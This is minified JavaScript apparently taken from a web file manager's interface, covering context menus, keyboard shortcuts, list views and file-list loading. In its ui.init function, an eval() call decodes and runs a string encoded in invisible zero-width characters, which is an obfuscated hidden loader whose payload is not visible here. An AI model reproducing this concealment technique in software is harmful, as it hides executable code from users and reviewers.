class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"<b>Ctrl+C</b>",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('<i class="menuGroupRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}}),$('<i class="menuGroupRootMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"}}})},C=function(){$('<i class="menuFavPath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuFavPathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},z=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_null":ui.path.newFile("");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip_zip":ui.path.zip();break;case"zip_tar":ui.path.zip("tar");break;case"zip_tgz":ui.path.zip("tar.gz");break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:z(e)}},S=function(){$('<i class="menuTreeFavRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){R(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('<i class="menuTreeFav"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){R(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},j=function(){$('<i class="'+n.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){R(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-text-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},E=function(){$('<i class="menuTreeFolder"></i>').appendTo("#rightMenu"),$('<i class="menuTreeFolderFav"></i>').appendTo("#rightMenu");var e={zIndex:9999,selector:".menuTreeFolder",callback:function(e){R(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20"></b>',className:"info",icon:"info",accesskey:"i"}}};$.contextMenu(e);var t={fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep0:"--------"};e.selector=".menuTreeFolderFav",e.items=$.extend(t,e.items,!0),$.contextMenu(e)},D=function(){$('<i class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){R(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}})
|
||
},P=function(){$('<i class="'+r.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){R(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},A=function(){$('<i class="'+l.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){R(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},F=function(){$('<i class="'+c.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,t){var i=t.$trigger;i.hasClass("file")?T(e):R(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('<i class="'+s.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){R(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}})},R=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:f,initExplorer:p,initEditor:u,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e="hidden",t="disabled",i=$(".context-menu-list").filter(":visible"),a=$(".context-menu-active");if(0!=i.length&&0!=a.length){if(i.find(".disable").addClass("disabled"),a.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());inArray(core.filetype.archive,n)?i.find(".unzip").removeClass(e):i.find(".unzip").addClass(e),inArray(core.filetype.image,n)?i.find(".setBackground").removeClass(e):i.find(".setBackground").addClass(e),"oexe"==n?i.find(".app_edit").removeClass(e):i.find(".app_edit").addClass(e),inArray(core.filetype.image,n)||inArray(core.filetype.music,n)||inArray(core.filetype.movie,n)||inArray(core.filetype.bindary,n)?i.find(".open_text").addClass(e):i.find(".open_text").removeClass(e)}if(a.hasClass("menufolder")||a.hasClass("menufile")||a.hasClass("menuTreeFolder")||a.hasClass("menuTreeFile")||a.hasClass("menuTreeFolderFav")){var o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip_this,.unzip_folder,.search,.more_action";a.hasClass("file_not_readable")?i.find(s).addClass(t):i.find(s).removeClass(t),a.hasClass("file_not_writeable")?i.find(o).addClass(t):i.find(o).removeClass(t)}if(a.hasClass("dialog_menu")){var r=a.attr("id"),l=$.dialog.list[r],c=e;l.has_frame()?(i.find(".open_window").removeClass(c),i.find(".refresh").removeClass(c),i.find(".qrcode").removeClass(c)):(i.find(".open_window").addClass(c),i.find(".refresh").addClass(c),i.find(".qrcode").addClass(c)),$("."+r).hasClass("dialog-can-resize")?i.find(".dialog_max").removeClass(c):i.find(".dialog_max").addClass(c)}if(a.hasClass("menuMore")){var d=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(d+=1)}),0==d?i.find(".playmedia").addClass(e):i.find(".playmedia").removeClass(e)}(a.hasClass("menuZipListFolder")||a.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?i.find(".unzip_this").removeClass(t):i.find(".unzip_this").addClass(t)),a.hasClass("toolPathMore")&&ui.fileLight.menuResetMore()}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").filter(":not(.menuNotAutoHidden)").trigger("contextmenu:hide")}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var t=$(".frame-right-main .tools").outerHeight();"list"==e&&(t+=26),$(".frame-header").is(":visible")&&(t+=$(".frame-header").outerHeight()),$(".bodymain").css("top",t)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,t){0!=e?(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")):e=G.user_config.list_sort_field,0!=t?(G.user_config.list_sort_order=t,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+t).addClass("selected")):t=G.user_config.list_sort_order,LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",t),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+t})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var t=LNG.config_save_error_file;core.authCheck("setting:set")||(t=LNG.config_save_error_auth),Tips.tips(t,!1)}}})})},bindEventMenu=function(){$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)}),$(".toolPathMore").die("click").live("click",function(){if($(this).hasClass("active"))return $(".menuToolPath").trigger("contextmenu:hide"),$(this).removeClass("active"),void 0;$(this).addClass("active"),$(".menuToolPath").removeClass("fadIn").addClass("menuShow");var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolPathMore").removeClass("active"),$(".menuToolPath").trigger("contextmenu:hide")})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),t=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/t)},getPagefileNumber=function(){var e=getRowfileNumber(),t=$(Config.BodyContent).outerHeight(),i=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(t/i)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,t=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/t)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,t=0,i="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==t?(t=timeFloat(),i=o,e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a),void 0):o==i.substr(-1)?(ui.path.setSelectByChar(i),t=0,void 0):(a>timeFloat()-t&&(t=timeFloat(),i+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["f1","alt+left","backspace","alt+right","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","ctrl+shift+n","ctrl+shift+f","del","shift+del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","alt+enter","ctrl+s","command+s","alt+f4"],function(e,t){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;var i=["ctrl+c","command+c"];switch(inArray(i,t)||stopPP(e),t){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(t);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var t=$("#PV_Items li.current img").attr("src"),i="image&path=",a=t.substr(t.search(i)+i.length),n=$('[src="'+t+'"],[data-original="'+t+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var i=function(e){var t="&picture=",i=e.search(t);return-1===i?e+t+UUID():e.substr(0,i)+t+UUID()},a=i(t),o=i($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,t=20,i=parseInt($(".file").css("height")),a=i-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(i+n)),l=0,c=0,d=0,p=0,f=(s-e-r*(i+n)-n)/r;f>0&&(n+=f),$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=t+(a+o)*c,p=e+(i+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,t){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof t&&t()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,t){var t="down"==t?-1:1;return function(i,a){var i=i[e],a=a[e];return ui.path.pathOperate.strSort(i,a)*t}},mainSetData=function(e){var t=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var i="";$(".systemBox").each(function(){i+=$(this).get(0).outerHTML}),t=i+t}t=htmlListAction(G.json_data,t,!1),"list_split"==G.user_config.list_type&&(t='<div class="split_box" data-path="'+pathHashEncode(G.this_path)+'"><div class="content">'+t+'<div class="content_more"></div> </div><div class="split_drag"></div></div>'),e?$(Config.FileBoxSelector).hide().html(t).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(t),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),t=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var i=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),pageLoadMax>i||"list_split"==G.user_config.list_type)return pageLoadMax;var 